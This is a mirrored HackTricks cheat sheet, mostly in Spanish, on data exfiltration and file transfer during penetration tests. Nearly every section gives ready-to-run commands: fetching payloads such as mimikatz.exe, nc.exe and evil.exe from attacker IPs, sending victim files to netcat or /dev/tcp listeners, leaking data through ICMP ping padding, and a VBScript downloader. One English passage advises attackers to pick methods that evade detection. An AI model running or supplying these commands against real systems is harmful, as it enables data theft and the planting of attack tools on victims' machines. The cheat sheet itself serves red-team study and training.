Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/generic-methodologies-and-resources/exfiltration.md

398 lines
15 KiB
Markdown
Raw Blame History

# Exfiltración
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra vulnerabilidades que son más importantes para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Dominios comúnmente permitidos para exfiltrar información
Consulta [https://lots-project.com/](https://lots-project.com/) para encontrar dominios comúnmente permitidos que pueden ser abusados
## Copiar y Pegar Base64
**Linux**
```bash
base64 -w0 <file> #Encode file
base64 -d file #Decode file
```
**Windows**
```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```
## HTTP
**Linux**
```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
**Windows**
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
### Subir archivos
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Módulo de Python [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world
# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
### **Servidor HTTPS**
```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
# python simple-https-server.py
# then in your browser, visit:
# https://localhost:443
### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###
### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###
### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```
## FTP
### Servidor FTP (python)
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### Servidor FTP (NodeJS)
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### Servidor FTP (pure-ftp)
```bash
apt-get update && apt-get install pure-ftp
```
```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
### Cliente de **Windows**
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## SMB
Kali como servidor
```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
O crear un recurso compartido smb **utilizando samba**:
```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart
```
Windows
---
### Exfiltration
Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data from a compromised system, including:
1. **Email**: Sending data as email attachments.
2. **FTP**: Transferring data using the File Transfer Protocol.
3. **HTTP/HTTPS**: Sending data over HTTP or HTTPS protocols.
4. **DNS**: Encoding data within DNS requests.
5. **Steganography**: Hiding data within images or other files.
6. **Cloud Storage**: Uploading data to cloud storage services.
7. **Physical Media**: Copying data to removable storage devices.
It is important for attackers to choose exfiltration methods that are less likely to be detected by security measures in place.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```
## SCP
El atacante debe tener SSHd en ejecución.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
Si la víctima tiene SSH, el atacante puede montar un directorio desde la víctima hacia el atacante.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```
## NC
### Exfiltration
#### Description
The Netcat utility can be used for exfiltration by creating a reverse shell to send data from the target machine to the attacker's machine. This can be achieved by setting up a listener on the attacker's machine and then executing a command on the target machine to connect back to the listener.
#### Usage
On the attacker's machine:
```bash
nc -lvp <port> > exfiltrated_data
```
On the target machine:
```bash
nc <attacker_ip> <port> < exfiltrated_data
```
#### Detection
Monitoring network traffic for suspicious connections to and from the target machine can help detect exfiltration using Netcat. Additionally, monitoring for unusual outbound network connections from the target machine can also indicate potential data exfiltration.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp
### Descargar archivo desde la víctima
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### Subir archivo a la víctima
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
Gracias a **@BinaryShadow\_**
## **ICMP**
```bash
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
```
```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")
sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
Si puedes enviar datos a un servidor SMTP, puedes crear un servidor SMTP para recibir los datos con python:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
Por defecto en XP y 2003 (en otros sistemas operativos necesita ser agregado explícitamente durante la instalación)
En Kali, **iniciar el servidor TFTP**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**Servidor TFTP en python:**
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
En **víctima**, conectarse al servidor Kali:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP
Descargar un archivo con un PHP oneliner:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
## VBScript
```bash
Attacker> python -m SimpleHTTPServer 80
```
**Víctima**
```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```
```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
El programa `debug.exe` no solo permite la inspección de binarios, sino que también tiene la **capacidad de reconstruirlos a partir de hexadecimal**. Esto significa que al proporcionar un hexadecimal de un binario, `debug.exe` puede generar el archivo binario. Sin embargo, es importante tener en cuenta que debug.exe tiene una **limitación de ensamblar archivos de hasta 64 kb de tamaño**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
Luego copia y pega el texto en la ventana de comandos de Windows y se creará un archivo llamado nc.exe.
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
## DNS
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Reference in a new issue View git blame Copy permalink